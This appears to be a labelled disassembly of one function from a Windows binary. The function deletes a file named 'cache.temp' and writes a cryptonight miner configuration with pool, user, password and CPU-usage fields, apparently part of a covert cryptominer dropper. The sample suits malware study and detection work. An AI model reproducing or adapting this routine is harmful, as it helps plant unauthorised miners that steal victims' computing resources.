Function at 0x4da060
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ea541
mov eax, dword fs:[0]
push eax
sub esp, 0xd4
mov eax, dword [0x50b06c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x28]
push 0xa
push str.cache.temp
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.00401320
mov byte [ebp - 4], 3
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4da0f9
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push 0x80
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ecx
lea ecx, [ebp - 0xe0]
call fcn.00474330
mov byte [ebp - 4], 4
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
cmovae eax, dword [ebp - 0x28]
cmp dword [ebp - 0x90], 0
jne 0x4da1cf
push 0x40
push 2
push eax
call fcn.004868d3
add esp, 0xc
test eax, eax
je 0x4da1cf
push 1
push eax
lea ecx, [ebp - 0xdc]
call fcn.00475750
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0xa8]
mov esi, dword [eax + 4]
mov ecx, esi
mov dword [ebp - 0x2c], esi
mov eax, dword [esi]
call dword [eax + 4]
lea eax, [ebp - 0x30]
mov byte [ebp - 4], 6
push eax
call fcn.00475ed0
mov edi, eax
add esp, 4
mov ecx, edi
mov edx, dword [edi]
mov edx, dword [edx + 0xc]
call edx
test al, al
je 0x4da186
mov dword [ebp - 0xa4], 0
jmp 0x4da197
lea ecx, [ebp - 0xdc]
mov dword [ebp - 0xa4], edi
call fcn.00475990
mov byte [ebp - 4], 7
mov ecx, esi
mov eax, dword [esi]
call dword [eax + 8]
test eax, eax
je 0x4da1ae
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
xor edx, edx
mov eax, dword [eax + 4]
add ecx, eax
mov eax, 4
cmp dword [ecx + 0x38], edx
jmp 0x4da1ef
mov eax, dword [ebp - 0xe0]
lea ecx, [ebp - 0xe0]
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
push 0
cmovne eax, edx
push eax
call fcn.004740a0
mov edx, str._n_t_n_t_t_algo_:__cryptonight___n_t_t_api_:__n_t_t_t_port_:_0__n_t_t_t_access_token_:_null__n_t_t_t_id_:_null__n_t_t_t_worker_id_:_null__n_t_t_t_ipv6_:_false__n_t_t_t_restricted_:_true_n_t_t__n_t_t_asm_:_true__n_t_t_autosave_:_true__n_t_t_av_:_0__n_t_t_background_:_false__n_t_t_colors_:_true__n_t_t_cpu_affinity_:_null__n_t_t_cpu_priority_:_null__n_t_t_huge_pages_:_true__n_t_t_hw_aes_:_null__n_t_t_log_file_:_null__n_t_t_max_cpu_usage_:_40__n_t_t_pools_:___n_t_t_t_n_t_t_t_t_url_:__
lea ecx, [ebp - 0xe0]
call fcn.00475c60
cmp dword [ebp + 0x1c], 0x10
lea edx, [ebp + 8]
push dword [ebp + 0x18]
cmovae edx, dword [ebp + 8]
mov ecx, eax
call fcn.00476290
mov edx, str.___n_t_t_t_t_user_:__
mov ecx, eax
call fcn.00475c60
cmp dword [ebp + 0x34], 0x10
lea edx, [ebp + 0x20]
push dword [ebp + 0x30]
cmovae edx, dword [ebp + 0x20]
mov ecx, eax
call fcn.00476290
mov edx, str.___n_t_t_t_t_pass_:__
mov ecx, eax
call fcn.00475c60
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
push dword [ebp + 0x48]
cmovae edx, dword [ebp + 0x38]
mov ecx, eax
call fcn.00476290
add esp, 0xc
mov edx, str.___n_t_t_t_t_rig_id_:_null__n_t_t_t_t_nicehash_:_false__n_t_t_t_t_keepalive_:_false__n_t_t_t_t_variant_:__1__n_t_t_t_t_tls_:_false__n_t_t_t_t_tls_fingerprint_:_null_n_t_t_t_n_t_t___n_t_t_print_time_:_60__n_t_t_retries_:_5__n_t_t_retry_pause_:_5__n_t_t_safe_:_false__n_t_t_threads_:_null__n_t_t_user_agent_:_null__n_t_t_watch_:_false_n_t_n_t
mov ecx, eax
call fcn.00475c60
mov ecx, eax
call fcn.004759f0
lea ecx, [ebp - 0xdc]
call fcn.00475830
test eax, eax
jne 0x4da2b1
mov eax, dword [ebp - 0xe0]
lea ecx, [ebp - 0xe0]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, edx
push eax
call fcn.004740a0
lea ecx, [ebp - 0xe0]
call fcn.004742a0
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x4da302
mov ecx, dword [ebp - 0x28]
inc eax
cmp eax, 0x1000
jb 0x4da2f9
test cl, 0x1f
jne 0x4da409
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x4da409
sub ecx, eax
cmp ecx, 4
jb 0x4da409
cmp ecx, 0x23
ja 0x4da409
mov ecx, eax
push ecx
call fcn.00487cad
add esp, 4
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp eax, 0x10
jb 0x4da35a
mov ecx, dword [ebp + 8]
inc eax
cmp eax, 0x1000
jb 0x4da351
test cl, 0x1f
jne 0x4da409
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x4da409
sub ecx, eax
cmp ecx, 4
jb 0x4da409
cmp ecx, 0x23
ja 0x4da409
mov ecx, eax
push ecx
call fcn.00487cad
add esp, 4
mov eax, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp eax, 0x10
jb 0x4da3a6
mov ecx, dword [ebp + 0x20]
inc eax
cmp eax, 0x1000
jb 0x4da39d
test cl, 0x1f
jne 0x4da409
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x4da409
sub ecx, eax
cmp ecx, 4
jb 0x4da409
cmp ecx, 0x23
ja 0x4da409
mov ecx, eax
push ecx
call fcn.00487cad
add esp, 4
mov eax, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp eax, 0x10
jb 0x4da3ee
mov ecx, dword [ebp + 0x38]
inc eax
cmp eax, 0x1000
jb 0x4da3e5
test cl, 0x1f
jne 0x4da409
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x4da409
sub ecx, eax
cmp ecx, 4
jb 0x4da409
cmp ecx, 0x23
ja 0x4da409
mov ecx, eax
push ecx
call fcn.00487cad
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004879f1
mov esp, ebp
pop ebp
ret
call fcn.004a30af
int3